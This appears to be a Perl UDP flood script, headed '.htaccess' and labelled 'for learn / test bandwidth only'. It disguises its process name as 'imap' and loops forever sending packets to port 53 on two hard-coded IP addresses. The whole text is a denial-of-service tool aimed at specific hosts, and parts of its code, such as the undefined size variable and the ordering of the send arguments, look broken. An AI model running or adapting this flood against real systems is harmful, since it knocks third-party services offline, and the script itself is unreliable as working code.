.htaccess

#!/usr/bin/perl
# for learn / test bandwidth only
# by sakitjiwa

use Socket;

$0 = "imap";
$ARGC=@ARGV;

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr1 = inet_aton("173.193.88.14");
    $iaddr2 = inet_aton("173.193.88.14");
    $iaddr3 = inet_aton("173.193.88.14");
    $iaddr4 = inet_aton("184.172.238.129");
    $iaddr5 = inet_aton("184.172.238.129");
    $iaddr6 = inet_aton("184.172.238.129");
    $iaddr7 = inet_aton("184.172.238.129");
    $iaddr8 = inet_aton("184.172.238.129");

for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in(53, $iaddr1));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr2));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr3));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr4));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr5));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr6));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr7));
 send(crazy, 0, $size, sockaddr_in(53, $iaddr8));
}